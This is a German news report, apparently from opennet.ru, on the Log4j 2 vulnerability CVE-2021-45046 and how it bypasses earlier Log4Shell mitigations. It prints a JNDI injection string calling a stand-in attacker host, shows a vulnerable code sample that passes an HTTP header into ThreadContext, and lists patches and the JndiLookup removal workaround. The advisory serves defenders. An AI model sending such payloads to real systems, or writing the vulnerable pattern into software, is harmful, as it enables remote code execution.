Bei der Implementierung von JNDI-Platzhaltern in der Log4j 2-Bibliothek wurde eine weitere Schwachstelle (CVE-2021-45046) entdeckt, die trotz der in Version 2.15 vorgenommenen Korrekturen und unabhängig von der Verwendung der Einstellung „log4j2.noFormatMsgLookup“ zu Tage tritt. Das Problem stellt hauptsächlich für ältere Versionen von Log4j 2, die durch das Flag „noFormatMsgLookup“ geschützt sind, eine Gefahr dar, da es ermöglicht, den Schutz vor der vorherigen Schwachstelle (Log4Shell, CVE-2021-44228) zu umgehen, die die Ausführung von benutzerdefiniertem Code auf dem Server erlaubt. Für Benutzer von Version 2.15 ist die Ausnutzung auf die Schaffung von Bedingungen für einen Absturz der Anwendung aufgrund von Ressourcenerschöpfung beschränkt.
Die Schwachstelle tritt nur auf Systemen auf, bei denen beim Logging kontextbezogene Abfragen (Context Lookup) wie ${ctx:loginId} oder MDC-Vorlagen (Thread Context Map), beispielsweise %X, %mdc und %MDC, verwendet werden. Die Ausnutzung besteht darin, Bedingungen für das Protokollieren von Daten zu schaffen, die JNDI-Platzhalter enthalten, wenn im Anwendungskontext Abfragen oder MDC-Vorlagen verwendet werden, die die Formatierungsregeln für das Protokoll definieren.
Forscher von LunaSec haben festgestellt, dass bei Versionen von Log4j unter 2.15 diese Schwachstelle als neuer Angriffsvektor für Log4Shell verwendet werden kann, was zur Ausführung von Code führt, wenn beim Loggen ThreadContext-Ausdrücke verwendet werden, in die externe Daten gelangen, unabhängig davon, ob das Flag „noMsgFormatLookups“ oder das Muster „%m{nolookups}“ zum Schutz aktiviert ist.
Der Umgehungsschutz besteht darin, dass anstelle der direkten Platzierung „${jndi:ldap://attacker.com/a}“ dieser Ausdruck über den Wert einer Zwischenspeicher-Variablen, die in den Formatierungsregeln für das Logging verwendet wird, eingefügt wird. Wenn beim Loggen beispielsweise die Kontextabfrage ${ctx:apiversion} verwendet wird, kann der Angriff durch das Einfügen der Daten „${jndi:ldap://attacker.com/a}“ in den Wert, der in die Variable apiversion geschrieben wird, durchgeführt werden. Beispiel für verwundbaren Code: appender.console.layout.pattern = ${ctx:apiversion} — %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L — %m%n @GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { // Der Wert des HTTP-Headers „X-Api-Version“ wird in den ThreadContext übergeben ThreadContext.put("apiversion", apiVersion); // Beim Loggen wird der externe Wert apiversion über den Platzhalter ${ctx:apiversion} verarbeitet logger.info("Received a request for API version"); return "Hello, world!"; }
In der Version Log4j 2.15 kann die Schwachstelle für DoS-Angriffe genutzt werden, wenn Werte an ThreadContext übergeben werden, die zu einer Endlosschleife bei der Verarbeitung des Ausgabeformatierungsmusters führen.
Zur Behebung der Schwachstelle wurden die Updates 2.16 und 2.12.2 veröffentlicht. In der Version Log4j 2.16, zusätzlich zu den in der Version 2.15 umgesetzten Korrekturen und der Bindung von JNDI LDAP-Anfragen an 'localhost', ist die JNDI-Funktionalität standardmäßig vollständig deaktiviert und die Unterstützung für Nachrichtenplatzhalter wurde entfernt. Als Abhilfe wird empfohlen, die Klasse JndiLookup aus dem Classpath zu entfernen (zum Beispiel: 'zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class').
Informationen über das Erscheinen von Patches in den Paketen sind auf den Seiten der Distributionen (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) und der Hersteller von Java-Plattformen (GitHub, Docker, Oracle, vmWare, Broadcom, Amazon/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure usw.) zu finden.
Quelle: opennet.ru
